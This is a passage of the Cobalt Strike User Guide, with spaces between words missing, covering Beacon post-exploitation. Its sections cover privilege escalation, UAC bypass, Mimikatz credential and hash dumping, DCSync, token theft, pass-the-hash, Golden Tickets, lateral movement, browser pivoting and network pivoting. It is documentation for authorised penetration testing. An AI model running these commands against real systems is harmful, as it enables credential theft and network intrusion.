PostExploitation/PrivilegeEscalation Youmayalsolaunchoneoftheseexploitsthrough[beacon] ->Access ->Elevate. Choosealistener,selectanexploit,andpressLaunchtoruntheexploit.Thisdialogisa front-endforBeacon'selevatecommand. figure58-Elevate YoumayaddprivilegeescalationexploitstoCobaltStrikethroughtheElevateKit.The ElevateKitisanAggressorScriptthatintegratesseveralopensourceprivilegeescalation exploitsintoCobaltStrike.https://github.com/rsmudge/ElevateKit. runasadmin-Thiscommandbyitself,listscommandelevatorexploitsregisteredwithCobalt Strike. runasadmin [exploit] [command + args]-Thiscommandattemptstorunthespecified commandinanelevatedcontext. CobaltStrikeseparatescommandelevatorexploitsandsession-yieldingexploitsbecausesome attacksareanaturalopportunitytospawnasession.Otherattacksyielda“runthiscommand” primitive.Spawningasessionfroma“runthiscommand”primitiveputsalotofweaponization decisions(notalwaysfavorable)inthehandsofyourtooldeveloper.Withrunasadmin,itsyour choicetodropanexecutabletodiskandrunit,torunaPowerShellone-liner,ortoweakenthe targetinsomeway. IfyoudliketouseaPowerShellone-linertospawnasession,goto[beacon] ->Access ->One- liner. CobaltStrikeUserGuide www.fortra.com page:104

PostExploitation/PrivilegeEscalation figure59-PowerShellOne-liner Thisdialogwillsetupalocalhost-onlywebserverwithinyourBeaconsessiontohostapayload stageandreturnaPowerShellcommandtodownloadandrunthispayloadstage. Thiswebserverisone-useonly.Onceitsconnectedtoonce,itwillcleanitselfupandstop servingyourpayload. IfyourunaTCPorSMBBeaconwiththistool,youwillneedtouseconnectorlinktoassume controlofthepayloadmanually.Also,beawarethatifyoutrytouseanx64payload—thiswillfail ifthex86PowerShellisinyour$PATH. CobaltStrikedoesnothavemanybuilt-inelevateoptions.Exploitdevelopmentisnotafocusof theworkatFortra.ItiseasytointegrateprivilegeescalationexploitsviaCobaltStrikes AggressorScriptprogramminglanguagethough.Toseewhatthislookslike,downloadthe ElevateKit(https://github.com/cobalt-strike/ElevateKit).TheElevateKitisanAggressorScript thatintegratesseveralopensourceprivilegeescalationexploitsintoCobaltStrike. Elevate with Known Credentials runas [DOMAIN\user] [password] [command]-Thisrunsacommandasanotheruserusing theircredentials.Therunascommandwillnotreturnanyoutput.Youmayuserunasfrom anon-privilegedcontextthough. spawnas [DOMAIN\user] [password] [listener]-Thiscommandspawnsasessionasanother userusingtheircredentials.Thiscommandspawnsatemporaryprocessandinjectsyour payloadstageintoit. Youmayalsogoto[beacon] ->Access ->Spawn As torunthiscommandaswell. Withbothofthesecommands,beawarethatcredentialsforanon-SID500accountwillspawn apayloadinamediumintegritycontext.YouwillneedtouseBypassUACtoelevatetoahigh CobaltStrikeUserGuide www.fortra.com page:105

PostExploitation/PrivilegeEscalation integritycontext.Also,beaware,thatyoushouldrunthesecommandsfromaworkingfolder thatthespecifiedaccountcanread. Get SYSTEM getsystem-ThiscommandimpersonatesatokenfortheSYSTEMaccount.Thislevelof accessmayallowyoutoperformprivilegedactionsthatarenotpossibleasan Administratoruser. AnotherwaytogetSYSTEMistocreateaservicethatrunsapayload.Theelevate svc-exe [listener] commanddoesthis.Itwilldropanexecutablethatrunsapayload,createaserviceto runit,assumecontrolofthepayload,andcleanuptheserviceandexecutable. UAC Bypass MicrosoftintroducedUserAccountControl(UAC)inWindowsVistaandrefineditinWindows7. UACworksalotlikesudoinUNIX.Day-to-dayauserworkswithnormalprivileges.Whenthe userneedstoperformaprivilegedaction—thesystemasksiftheywouldliketoelevatetheir rights. CobaltStrikeshipswithafewUACbypassattacks.Theseattackswillnotworkifthecurrent userisnotanAdministrator.TocheckifthecurrentuserisintheAdministratorsgroup,userun whoami /groups. elevate uac-token-duplication [listener]-Thiscommandspawnsatemporaryprocesswith elevatedrightsandinjectapayloadstageintoit.ThisattackusesaUAC-loopholethat allowsanon-elevatedprocesstolaunchanarbitraryprocesswithatokenstolenfroman elevatedprocess.Thisloopholerequirestheattacktoremoveseveralrightsassignedto theelevatedtoken.Theabilitiesofyournewsessionwillreflecttheserestrictedrights.If AlwaysNotifyisatitshighestsetting,thisattackrequiresthatanelevatedprocessis alreadyrunninginthecurrentdesktopsession(asthesameuser).Thisattackworkson Windows7andWindows10priortotheNovember2018update. runasadmin uac-token-duplication [command]-Thisisthesameattackdescribedabove,but thisvariantrunsacommandofyourchoosinginanelevatedcontext. runasadmin uac-cmstplua [command]-ThiscommandattemptatobypassUACandruna commandinanelevatedcontext.ThisattackreliesonaCOMobjectthatautomatically elevatesfromcertainprocesscontexts(Microsoftsigned,livesinc:\windows*). Privileges getprivs-Thiscommandenablestheprivilegesassignedtoyourcurrentaccesstoken. CobaltStrikeUserGuide www.fortra.com page:106

PostExploitation/Mimikatz Mimikatz Beaconintegratesmimikatz.Usemimikatz [pid] [arch] [module::command] toinject intothespecifiedprocesstorunamimikatzcommand.Usemimikatz(without[pid]and[arch] arguments)tospawnatemporaryprocesstorunamimikatzcommand. SomemimikatzcommandsmustrunasSYSTEMtowork.Prefixacommandwithan exclamtion( !)toforcemimikatztoelevatetoSYSTEMbeforeitrunsyourcommand.For example,mimikatz!lsa::cache willrecoversaltedpasswordhashescachedbythesystem.Use mimikatz [pid] [arch] [!module::command] ormimikatz [!module::command] (without[pid]and[arch]arguments). IfyouneedtorunamimikatzcommandwithBeaconscurrentaccesstoken,youcanprefixa commandwitha@toforcemimikatztoimpersonateBeaconscurrentaccesstoken.For example,mimikatz @lsadump::dcsync willrunthedcsynccommandinmimikatzwith Beaconscurrentaccesstoken.Usemimikatz [pid] [arch] [@module::command] or mimikatz [@module::command] (without[pid]and[arch]arguments). Ifyouwanttorunmultiplemimikatzcommandsinasinglecommand,usethesemicolon( ;) charactertoseparatemultiplemimikatzcommands.Themaximumlengthofthecommandsis 511characters.Forexample,mimikatz crypto::capi ; crypto::certificates /systemstore:local_machine /store:my /export Credential and Hash Harvesting Todumphashes,goto[beacon] ->Access ->Dump Hashes.Youcanalsousethehashdump [pid] [x86|x64]commandfromtheBeaconconsoletoinjectthehashdumptoolintothe specifiedprocess.Usehashdump(without[pid]and[arch]arguments)tospawnatemporary processandinjectthehashdumptoolintoit.Thesecommandswillspawnajobthatinjectsinto LSASSanddumpsthepasswordhashesforlocalusersonthecurrentsystem.Thiscommand requiresadministratorprivileges.Ifinjectingintoapidthatprocessrequiresadministrator privileges. Uselogonpasswords [pid] [arch]toinjectintothespecifiedprocesstodumpplaintext credentialsandNTLMhashes.Uselogonpasswords(without[pid]and[arch]arguments)to spawnatemporaryprocesstodumpplaintextcredentialsandNTLMhashes.Thiscommand usesmimikatzandrequiresadministratorprivileges. Usedcsync [pid] [arch] [DOMAIN.fqdn] <DOMAIN\user>toinjectintothespecifiedprocessto extracttheNTLMpasswordhashes.Usedcsync [DOMAIN.fqdn] <DOMAIN\user>tospawna temporaryprocesstoextracttheNTLMpasswordhashes.Thiscommandusesmimikatzto extracttheNTLMpasswordhashfordomainusersfromthedomaincontroller.Specifyauser togettheirhashonly.Thiscommandrequiresadomainadministratortrustrelationship. CobaltStrikeUserGuide www.fortra.com page:107

PostExploitation/PortScanning Usechromedump [pid] [arch]toinjectintothespecifiedprocesstorecovercredentialmaterial fromGoogleChrome.Usechromedump(without[pid]and[arch]arguments)tospawna temporaryprocesstorecovercredentialmaterialfromGoogleChrome.Thiscommandwilluse Mimikatztorecoverthecredentialmaterialandshouldberununderausercontext. CredentialsdumpedwiththeabovecommandsarecollectedbyCobaltStrikeandstoredinthe credentialsdatamodel.GotoView ->Credentials topullupthecredentialsonthecurrentteam server. Port Scanning Beaconhasabuiltinportscanner.Useportscan [pid] [arch] [targets] [ports] [arp|icmp|none] [max connections]toinjectintothespecifiedprocesstorunaportscanagainstthespecified hosts.Useportscan [targets] [ports] [arp|icmp|none] [max connections](without[pid]and [arch]arguments)tospawnatemporaryprocesstorunaportscanagainstthespecifiedhosts. The[targets]optionisacommaseparatedlistofhoststoscan.Youmayalso specifyIPv4addressranges(e.g.,192.168.1.128-192.168.2.240,192.168.1.0/24) The[ports]optionisacommaseparatedlistorportstoscan.Youmayspecifyport rangesaswell(e.g.,1-65535) The[arp|icmp|none]targetdiscoveryoptionsdictatehowtheportscanningtoolwill determineifahostisalive.TheARPoptionusesARPtoseeifasystemrespondsto thespecifiedaddress.TheICMPoptionsendsanICMPechorequest.Thenone optiontellstheportscantooltoassumeallhostsarealive. The[max connections]optionlimitshowmanyconnectionstheportscantoolwill attemptatanyonetime.TheportscantoolusesasynchronousI/Oandit'sableto handlealargenumberofconnectionsatonetime.Ahighervaluewillmakethe portscangomuchfaster.Thedefaultis1024. Theportscannerwillrun,inbetweenBeaconcheckins.Whenithasresultstoreport,itwillsend themtotheBeaconconsole.CobaltStrikewillprocessthisinformationandupdatethetargets modelwiththediscoveredhosts. Youcanalsogoto[beacon] -> Explore -> Port Scannertolaunchtheportscannertool. Network and Host Enumeration BeaconsnetmoduleprovidestoolstointerrogateanddiscovertargetsinaWindowsactive directorynetwork. CobaltStrikeUserGuide www.fortra.com page:108

PostExploitation/TrustRelationships Usenet [pid] [arch] [command] [arguments]toinjectthenetworkandhostenumerationtool intothespecifiedprocess.Usenet [command] [arguments](without[pid]and[arch] arguments)tospawnatemporaryprocessandinjectthenetworkandhostenumerationtool intoit.Anexceptionisthenet domaincommandwhichisimplementedasaBOF.netdomain. ThecommandsinBeaconsnetmodulearebuiltontopoftheWindowsNetworkEnumeration APIs.Mostofthesecommandsaredirectreplacementsformanyofthebuilt-innetcommands inWindows(therearealsoafewuniquecapabilitieshereaswell).Thefollowingcommandsare available: computers-listshostsinadomain(groups) dclist-listsdomaincontrollers.(populatesthetargetsmodel) domain-displaydomainforthishost domain_controllers-listsDCsinadomain(groups) domain_trusts-listsdomaintrusts group-listsgroupsandusersingroups localgroup-listslocalgroupsandusersinlocalgroups.(greatduringlateralmovementwhen youhavetofindwhoisalocaladminonanothersystem). logons-listsusersloggedontoahost sessions-listssessionsonahost share-listssharesonahost user-listsusersanduserinformation time-showtimeforahost view-listshostsinadomain(browserservice).(populatesthetargetsmodel) Trust Relationships TheheartofWindowssinglesign-onistheaccesstoken.WhenauserlogsontoaWindows host,anaccesstokenisgenerated.Thistokencontainsinformationabouttheuserandtheir rights.Theaccesstokenalsoholdsinformationneededtoauthenticatethecurrentuserto anothersystemonthenetwork.ImpersonateorgenerateatokenandWindowswilluseits informationtoauthenticatetoanetworkresourceforyou. CobaltStrikeUserGuide www.fortra.com page:109

PostExploitation/TrustRelationships Usesteal_token [pid]orsteal_token [pid] tostealan accesstokenfromanexistingprocess. Token Store Thetokenstorefacilitateshot-swappableaccesstokens.Usetoken-store steal [pid,...] tostealanaccesstokenandstoreit.Toimmediately applythestolentoken,usetoken-store steal-and-use [pid] . Thetoken-store showcommandliststheaccesstokenscurrentlyavailableinthetokenstore. Usetoken-store use [id]toapplyanaccesstokentothecurrentBeacon. token-store remove [id,...]andtoken-store remove-allcommandscanbeusedtoremove storedtokensfromthestore. Ifyoudliketoseewhichprocessesarerunninguseps.Thegetuidcommandwillprintyour currenttoken.Userev2selftorevertbacktoyouroriginaltoken. OpenProcessTokenaccessmasksuggestedvalues: blank = default (TOKEN_ALL_ACCESS) 0 = TOKEN_ALL_ACCESS 11 = TOKEN_ASSIGN_PRIMARY | TOKEN_DUPLICATE | TOKEN_QUERY (1+2+8) Access mask values: STANDARD_RIGHTS_REQUIRED . . . . : 983040 TOKEN_ASSIGN_PRIMARY . . . . . . : 1 TOKEN_DUPLICATE . . . . . . . . : 2 TOKEN_IMPERSONATE . . . . . . . : 4 TOKEN_QUERY . . . . . . . . . . : 8 TOKEN_QUERY_SOURCE . . . . . . . : 16 TOKEN_ADJUST_PRIVILEGES . . . . : 32 TOKEN_ADJUST_GROUPS . . . . . . : 64 TOKEN_ADJUST_DEFAULT . . . . . . : 128 TOKEN_ADJUST_SESSIONID . . . . . : 256 NOTE: 'OpenProcessTokenaccessmask'canbehelpfulforstealingtokensfromprocessesusing 'SYSTEM'userandyouhavethiserror:Couldnotopenprocesstoken:{pid}(5) CobaltStrikeUserGuide www.fortra.com page:110

PostExploitation/LateralMovement Youcansetyourpreferreddefaultwith'.steal_token_access_mask'intheMalleableC2global options. Ifyouknowcredentialsforauser;usemake_token [DOMAIN\user] [password]togeneratea tokenthatpassesthesecredentials.Thistokenisacopyofyourcurrenttokenwithmodified singlesign-oninformation.Itwillshowyourcurrentusername.Thisisexpectedbehavior. TheBeaconcommandpth [pid] [arch] [DOMAIN\user] [ntlm hash]injectsintothespecified processtogenerateANDimpersonateatoken.Usepth [DOMAIN\user] [ntlm hash](without [pid]and[arch]arguments)tospawnatemporaryprocesstogenerateANDimpersonatea token.ThiscommandusesmimikatztogenerateANDimpersonateatokenthatusesthe specifiedDOMAIN,user,andNTLMhashassinglesign-oncredentials.Beaconwillpassthis hashwhenyouinteractwithnetworkresources. BeaconsMakeTokendialog([beacon]->Access->Make Token)isafront-endforthese commands.Itwillpresentthecontentsofthecredentialmodelanditwillusetheright commandtoturntheselectedcredentialentryintoanaccesstoken. Kerberos Tickets AGoldenTicketisaself-generatedKerberosticket.It'smostcommontoforgeaGoldenTicket withDomainAdministratorrights Goto[beacon]->Access->Golden TickettoforgeaGoldenTicketfromCobaltStrike.Provide thefollowingpiecesofinformationandCobaltStrikewillusemimikatztogenerateaticketand injectitintoyourkerberostray:

  1. Theuseryouwanttoforgeaticket.
  2. Thedomainyouwanttoforgeaticketfor.
  3. Thedomain'sSID
  4. TheNTLMhashofthekrbtgtuseronadomaincontroller. Usekerberos_ticket_use [/path/to/ticket]toinjectaKerberosticketintothecurrentsession. ThiswillallowBeacontointeractwithremotesystemsusingtherightsinthisticket. Usekerberos_ticket_purgetoclearanyKerberosticketsassociatedwithyoursession. Lateral Movement Onceyouhaveatokenforadomainadminoradomainuserwhoisalocaladminonatarget, youmayabusethistrustrelationshiptogetcontrolofthetarget.CobaltStrikesBeaconhas severalbuilt-inoptionsforlateralmovement. CobaltStrikeUserGuide www.fortra.com page:111

PostExploitation/LateralMovementGUI Typejump tolistlateralmovementoptionsregisteredwithCobaltStrike.Runjump [module] [target] [listener] toattempttorunapayloadonaremotetarget. Jump Module Arch Description psexec x86 UseaservicetorunaServiceEXEartifact psexec64 x64 UseaservicetorunaServiceEXEartifact psexec_psh x86 UseaservicetorunaPowerShellone-liner winrm x86 RunaPowerShellscriptviaWinRM winrm64 x64 RunaPowerShellscriptviaWinRM Runremote-exec,byitself,tolistremoteexecutionmodulesregisteredwithCobaltStrike.Use remote-exec [module] [target] [command + args] toattempttorunthespecifiedcommand onaremotetarget. Remote-exec Module Description psexec RemoteexecuteviaServiceControl Manager winrm RemoteexecuteviaWinRM (PowerShell) wmi RemoteexecuteviaWMI Lateralmovementisanarea,similartoprivilegeescalation,wheresomeattackspresenta naturalsetofprimitivestospawnasessiononaremotetarget.Someattacksgiveanexecute- primitiveonly.Thesplitbetweenjumpandremote-execgivesyouflexibilitytodecidehowto weaponizeanexecute-onlyprimitive. AggressorScripthasanAPItoaddnewmodulestojumpandremote-exec.SeetheAggressor Scriptdocumentation(theBeaconchapter,specifically)formoreinformation. Lateral Movement GUI CobaltStrikealsoprovidesaGUItomakelateralmovementeasier.SwitchtotheTargets VisualizationorgotoView ->Targets.Navigateto[target] ->Jump andchooseyourdesired lateralmovementoption. Thefollowingdialogwillopen: CobaltStrikeUserGuide www.fortra.com page:112

PostExploitation/BeaconDataStore figure60-LateralMovementDialog Tousethisdialog: First,decidewhichtrustyouwanttouseforlateralmovement.Ifyouwanttousethetokenin oneofyourBeacons,checktheUsesessionscurrentaccesstokenbox.Ifyouwanttouse credentialsorhashesforlateralmovement—thatsOKtoo.Selectcredentialsfromthe credentialstoreorpopulatetheUser,Password,andDomainfields.Beaconwillusethis informationtogenerateanaccesstokenforyou.Keepinmind,youneedtooperatefromahigh integritycontext[administrator]forthistowork. Next,choosethelistenertouseforlateralmovement.TheSMBBeaconisusuallyagood candidatehere. Last,selectwhichsessionyouwanttoperformthelateralmovementattackfrom.Cobalt Strikesasynchronousmodelofoffenserequireseachattacktoexecutefromacompromised system. ThereisnooptiontoperformthisattackwithoutaBeaconsessiontoattackfrom.Ifyoureon aninternalengagement,considerhookingaWindowssystemthatyoucontrolandusethatas yourstartingpointtoattackothersystemswithcredentialsorhashes. PressLaunch.CobaltStrikewillactivatethetabfortheselectedBeaconandissuecommands toit.FeedbackfromtheattackwillshowupintheBeaconconsole. Beacon Data Store CobaltStrikeUserGuide www.fortra.com page:113

PostExploitation/OtherCommands BeaconDataStoreenablesanoperatortostoreBeaconObjectFiles(BOFs)and.NET assembliesinBeacon'smemory.Thesestoreditemscansubsequentlybeexecutedmultiple timeswithoutresendingtheitem.TheCobaltStrikeclientautomaticallydetectswhetheran objecttobeexecutedisalreadystoredinthedatastore.Thestoredentriesaremaskedby default,andtheitemisunmaskedonlywhenitisused. InadditiontoBeaconObjectFilesand.NETassemblies,itispossibletostoregenericfilesinthe datastore,andthesefilescanbeaccessedfromwithinBOFs.Furtherdetailscanbefoundon theBOFCAPIpage. Thedefaultsizeofthedatastoreis16entries,butyoucanmodifythissizebyconfiguringthe data_store_sizeoptionwithinthestageblockofaC2profile. Thedata-store load [bof|dotnet|file] [file path]commandstoresaniteminthestore. Ifthenameargumentisnotprovided,thenthefilenameisused. Thedata-store unload [index]removesthestoreditem. Thedata-store listliststheitemscurrentlyavailableinthedatastore. Other Commands Beaconhasafewothercommandsnotcoveredabove. TheclearcommandwillclearBeacon'stasklist.Usethisifyoumakeamistake. TypeexittoaskBeacontoexit. Usekill [pid]toterminateaprocess. UsetimestomptomatchtheModified,Accessed,andCreatedtimesofonefiletothoseof anotherfile. CobaltStrikeUserGuide www.fortra.com page:114

BrowserPivoting/Overview Browser Pivoting MalwarelikeZeusanditsvariantsinjectthemselvesintoausersbrowsertostealbanking information.Thisisaman-in-the-browserattack.So-called,becausetheattackerisinjecting malwareintothetargetsbrowser. Overview Man-in-the-browsermalwareusestwoapproachestostealbankinginformation.Theyeither captureformdataasitssenttoaserver.Forexample,malwaremighthookPR_WriteinFirefox tointerceptHTTPPOSTdatasentbyFirefox.Or,theyinjectJavaScriptontocertainwebpages tomaketheuserthinkthesiteisrequestinginformationthattheattackerneeds. CobaltStrikeoffersathirdapproachforman-in-the-browserattacks.Itletstheattackerhijack authenticatedwebsessions—allofthem.Onceauserlogsontoasite,anattackermayaskthe usersbrowsertomakerequestsontheirbehalf.Sincetheusersbrowserismakingtherequest, itwillautomaticallyre-authenticatetoanysitetheuserisalreadyloggedonto.Icallthisa browserpivot—becausetheattackerispivotingtheirbrowserthroughthecompromisedusers browser. figure61-BrowserPivotinginAction CobaltStrikesimplementationofbrowserpivotingforInternetExplorerinjectsanHTTPproxy serverintothecompromisedusersbrowser.Donotconfusethiswithchangingtheusersproxy settings.Thisproxyserverdoesnotaffecthowtheusergetstoasite.Rather,thisproxyserver isavailabletotheattacker.Allrequeststhatcomethroughitarefulfilledbytheusersbrowser. CobaltStrikeUserGuide www.fortra.com page:115

BrowserPivoting/Setup Setup TosetupBrowserpivoting,goto[beacon] ->Explore ->Browser Pivot.ChoosetheInternet Explorerinstancethatyouwanttoinjectinto.Youmayalsodecidewhichporttobindthe browserpivotingproxyservertoaswell. figure62-StartaBrowserPivot Bewarethattheprocessyouinjectintomattersagreatdeal.InjectintoInternetExplorerto inheritausersauthenticatedwebsessions.ModernversionsofInternetExplorerspawneach tabinitsownprocess.IfyourtargetusesamodernversionofInternetExplorer,youmustinject aprocessassociatedwithanopentabtoinheritsessionstate.Whichtabprocessdoesnt matter(childtabssharesessionstate). IdentifyInternetExplorertabprocessesbylookingatthePPIDvalueintheBrowserPivoting setupdialog.IfthePPIDreferencesexplorer.exe,theprocessisnotassociatedwithatab.Ifthe PPIDreferencesiexplore.exe,theprocessisassociatedwithatab.CobaltStrikewillshowa checkmarknexttotheprocessesitthinksyoushouldinjectinto. OnceBrowserPivotingissetup,setupyourwebbrowsertousetheBrowserPivotProxyserver. Remember,CobaltStrikesBrowserPivotserverisanHTTPproxyserver. CobaltStrikeUserGuide www.fortra.com page:116

BrowserPivoting/Use figure63-ConfigureBrowserSettings Use Youmaybrowsethewebasyourtargetuseroncebrowserpivotingisstarted.Bewarethatthe browserpivotingproxyserverwillpresentitsSSLcertificateforSSL-enabledwebsitesyouvisit. Thisisnecessaryforthetechnologytowork. Thebrowserpivotingproxyserverwillaskyoutoaddahosttoyourbrowserstruststorewhen itdetectsanSSLerror.AddthesehoststothetruststoreandpressrefreshtomakeSSL protectedsitesloadproperly. Ifyourbrowserpinsthecertificateofatargetsite,youmayfinditsimpossibletogetyour browsertoacceptthebrowserpivotingproxyserversSSLcertificate.Thisisapain.Oneoption istouseadifferentbrowser.TheopensourceChromiumbrowserhasacommand-lineoption toignoreallcertificateerrors.Thisisidealforbrowserpivotinguse: chromium --ignore-certificate-errors --proxy-server=[host]:[port] TheabovecommandisavailablefromView ->Proxy Pivots.HighlighttheBrowserPivotHTTP ProxyentryandpressTunnel. TostoptheBrowserPivotproxyserver,typebrowserpivot stop initsBeaconconsole. CobaltStrikeUserGuide www.fortra.com page:117

BrowserPivoting/HowBrowserPivotingWorks Youwillneedtoreinjectthebrowserpivotproxyserveriftheuserclosesthetabyoureworking from.TheBrowserPivottabwillwarnyouwhenitcantconnecttothebrowserpivotproxy serverinthebrowser. NOTE: OpenJDK11hasaTLSimplementationbugthatcausesERR_SSL_PROTOCOL_ERROR (Chrome/Chromium)andSSL_ERROR_RX_RECORD_TOO_LONG(Firefox)wheninteracting withhttps://sites.Ifyouencountertheseerrors--downgradeyourteamservertoOracle Java1.8orOpenJDK10. How Browser Pivoting Works InternetExplorerdelegatesallofitscommunicationtoalibrarycalledWinINet.Thislibrary, whichanyprogrammayuse,managescookies,SSLsessions,andserverauthenticationforits consumers.CobaltStrikesBrowserPivotingtakesadvantageofthefactthatWinINet transparentlymanagesauthenticationandreauthenticationonaperprocessbasis. ByinjectingCobaltStrikesBrowserPivotingtechnologyintoausersInternetExplorerinstance, yougetthistransparentreauthenticationforfree. CobaltStrikeUserGuide www.fortra.com page:118

Pivoting/WhatisPivoting Pivoting What is Pivoting Pivoting,forthesakeofthismanual,isturningacompromisedsystemintoahoppointforother attacksandtools.CobaltStrikesBeaconprovidesseveralpivotingoptions.Foreachofthese options,youwillwanttomakesureyourBeaconisininteractivemode.Interactivemodeis whenaBeaconchecksinmultipletimeseachsecond.Usethesleep 0 commandtoputyour Beaconintointeractivemode. SOCKS Proxy Goto[beacon] ->Pivoting ->SOCKS Server tosetupaSOCKS4orSOCKS5proxyserveron yourteamserver.Or,usesocks 8080 tosetupaSOCKSproxyserveronport8080(oranyother portyouchoose). AllconnectionsthatgothroughtheseSOCKSserversturnintoconnect,read,write,andclose tasksfortheassociatedBeacontoexecute.YoumaytunnelviaSOCKSthroughanytypeof Beacon(evenanSMBBeacon). BeaconsHTTPdatachannelisthemostresponsiveforpivotingpurposes.Ifyoudliketopivot trafficoverDNS,usetheDNSTXTrecordcommunicationmode. Usesocks [port] [socks4 | socks5] [enableNoAuth | disableNoAuth] [user] [password] [enableLogging | disableLogging]tostartaSOCKS4a(bydefaultwhennoserverversionis specified)orSOCKS5serveronthespecifiedport.Thisserverwillrelayconnectionsthrough thisBeacon. SOCKS5serverscanbeconfiguredwithNoAuthauthentication(default),User/Password authentication,andsomeadditionallogging. SOCKS5ServerscurrentlydonotsupportGSSAPIauthenticationandIPV6. ToseetheSOCKSserversthatarecurrentlysetup,gotoView ->Proxy Pivots. Usesocks stoptostoptheSOCKSserversandterminateexistingconnections. TrafficwillnotrelaywhileBeaconisasleep.Changethesleeptimewiththesleepcommandto reducelatency. Proxychains CobaltStrikeUserGuide www.fortra.com page:119

Pivoting/ReversePortForward TheproxychainstoolwillforceanexternalprogramtouseaSOCKSproxyserverthatyou designate.Youmayuseproxychainstoforcethird-partytoolsthroughCobaltStrikesSOCKS server.Tolearnmoreaboutproxychains,visit:http://proxychains.sourceforge.net/ Metasploit YoumayalsotunnelMetasploitFrameworkexploitsandmodulesthroughBeacon.Createa BeaconSOCKSproxyserver[asdescribedabove]andpastethefollowingintoyourMetasploit Frameworkconsole: setg Proxies socks4:team server IP:proxy port setg ReverseAllowProxy true ThesecommandswillinstructtheMetasploitFrameworktoapplyyourProxiesoptiontoall modulesexecutedfromthispointforward.OnceyouredonepivotingthroughBeaconinthis way,useunsetg Proxies tostopthisbehavior. Ifyoufindtheabovetoughtoremember,gotoView ->Proxy Pivots.Highlighttheproxypivot yousetupandpressTunnel.ThisbuttonwillprovidethesetgProxiessyntaxneededtotunnel theMetasploitFrameworkthroughyourBeacon. Reverse Port Forward Thefollowingcommandsareavailable: NOTE: Typehelp intheBeaconconsoletoseeavailablecommands.Typehelp followedbya commandnametoseedetailedhelp. rportfwd-UsethiscommandtosetupareversepivotthroughBeacon.Therportfwdcommand willbindaportonthecompromisedtarget.Anyconnectionstothisportwillcauseyour CobaltStrikeservertoinitiateaconnectiontoanotherhostandportandrelaytraffic betweenthesetwoconnections.CobaltStriketunnelsthistrafficthroughBeacon. Thesyntaxforrportfwdis:rportfwd [bind port] [forward host] [forward port]. rportfwd_local-UsethiscommandtosetupareversepivotthroughBeaconwithonevariation. Thisfeatureinitiatesaconnectiontotheforwardhost/portfromyourCobaltStrikeclient. TheforwardedtrafficiscommunicatedthroughtheconnectionyourCobaltStrikeclient hastoitsteamserver. rportfwd stop [bind port]-Usetodisablethereverseportforward. CobaltStrikeUserGuide www.fortra.com page:120

Pivoting/SpawnandTunnel Spawn and Tunnel Usethespunnelcommandtospawnathird-partytoolinatemporaryprocessandcreatea reverseportforwardforit.Thesyntaxisspunnel [x86 or x64] [controller host] [controller port] [/path/to/agent.bin].Thiscommandexpectsthattheagentfileisposition-independent shellcode(usuallytherawoutputfromanotheroffenseplatform).Thespunnel_localcommand isthesameasspunnel,exceptitinitiatesthecontrollerconnectionfromyourCobaltStrike client.Thespunnel_localtrafficiscommunicatedthroughtheconnectionyourCobaltStrike clienthastoitsteamserver. Agent Deployed:Interoperability with Core Impact ThespunnelcommandsweredesignedspecificallytotunnelCoreImpact'sagentthrough CobaltStrike'sBeacon.CoreImpactisapenetrationtestingtoolandexploitframeworkalso availableforlicensefromFortraathttps://www.coresecurity.com/products/core-impact ToexportarawagentfilefromCoreImpact:

  1. ClicktheModules tabintheCoreImpactuserinterface
  2. SearchforPackage and Register Agent
  3. Double-clickthismodule
  4. ChangePlatform toWindows
  5. ChangeArchitecture tox86-64
  6. ChangeBinary Type toraw
  7. ClickTarget File andpress...todecidewheretosavetheoutput.
  8. GotoAdvanced
  9. ChangeEncrypt Code tofalse
  10. GotoAgent Connection
  11. ChangeConnection Method toConnectfrom Target
  12. ChangeConnect Back Hostname to127.0.0.1
  13. ChangePort tosomevalue(e.g.,9000)andrememberit.
  14. PressOK. TheabovewillgenerateaCoreImpactagentasarawfile.Youmayusespunnelx64orspunnel_ localx64torunthisagentandtunnelitbacktoCoreImpact. WeoftenuseCobaltStrikeonaninternetreachableinfrastructureandCoreImpactisoftenona localWindowsvirtualmachine.It'sforthisreasonwehavespunnel_local.Werecommendthat yourunaCobaltStrikeclientfromthesameWindowssystemthatCoreImpactisinstalledonto. CobaltStrikeUserGuide www.fortra.com page:121

Pivoting/PivotListeners Inthissetup,youcanrunspunnel_local x64 127.0.0.1 9000 c:\path\to\agent.bin.Oncethe connectionismade,youwillhearthefamous"AgentDeployed"wavfile. WithanImpactagentontarget,youhavetoolstoescalateprivileges,scanandinformation gatherviamanymodules,launchremoteexploits,andchainotherImpactagentsthroughyour Beaconconnection. Pivot Listeners Itsgoodtradecrafttolimitthenumberofdirectconnectionsfromyourtargetsnetworktoyour commandandcontrolinfrastructure.Apivotlistenerallowsyoutocreatealistenerthatis boundtoaBeaconorSSHsession.Inthisway,youcancreatenewreversesessionswithout moredirectconnectionstoyourcommandandcontrolinfrastructure. Tosetupapivotlistener,goto[beacon] ->Pivoting ->Listener….Thiswillopenadialogwhere youmaydefineanewpivotlistener. figure64-ConfigureaPivotListener ApivotlistenerwillbindtoListenPortonthespecifiedSession.TheListenHostvalueconfigures theaddressyourreverseTCPpayloadwillusetoconnecttothislistener. Rightnow,theonlypayloadoptioniswindows/beacon_reverse_tcp.Thisisalistenerwithouta stager.Thismeansyoucantembedthispayloadintocommandsandautomationthatexpect stagers.Youdohavetheoptiontoexportastagelesspayloadartifactandrunittodelivera reverseTCPpayload. CobaltStrikeUserGuide www.fortra.com page:122

Pivoting/CovertVPN PivotListenersdonotchangethepivothostsfirewallconfiguration.Ifapivothosthasahost- basedfirewall,thismayinterferewithyourlistener.You,theoperator,areresponsiblefor anticipatingthissituationandtakingtherightstepsforit. Toremoveapivotlistener,gotoCobalt Strike ->Listeners andremovethelistenerthere. CobaltStrikewillsendatasktoteardownthelisteningsocket,ifthesessionisstillreachable. Covert VPN VPNpivotingisaflexiblewaytotunneltrafficwithoutthelimitationsofaproxypivot.Cobalt StrikeoffersVPNpivotingthroughitsCovertVPNfeature.CovertVPNcreatesanetwork interfaceontheCobaltStrikesystemandbridgesthisinterfaceintothetargetsnetwork. How to Deploy ToactivateCovertVPN,right-clickacompromisedhost,goto[beacon] ->Pivoting ->Deploy VPN.SelecttheremoteinterfaceyouwouldlikeCovertVPNtobindto.Ifnolocalinterfaceis present,pressAdd tocreateone. figure65-DeployCovertVPN CheckClone host MAC addresstomakeyourlocalinterfacehavethesameMACaddressas theremoteinterface.Itssafesttoleavethisoptionchecked. PressDeploy tostarttheCovertVPNclientonthetarget.CovertVPNrequiresAdministrator accesstodeploy. OnceaCovertVPNinterfaceisactive,youmayuseitlikeanyphysicalinterfaceonyoursystem. 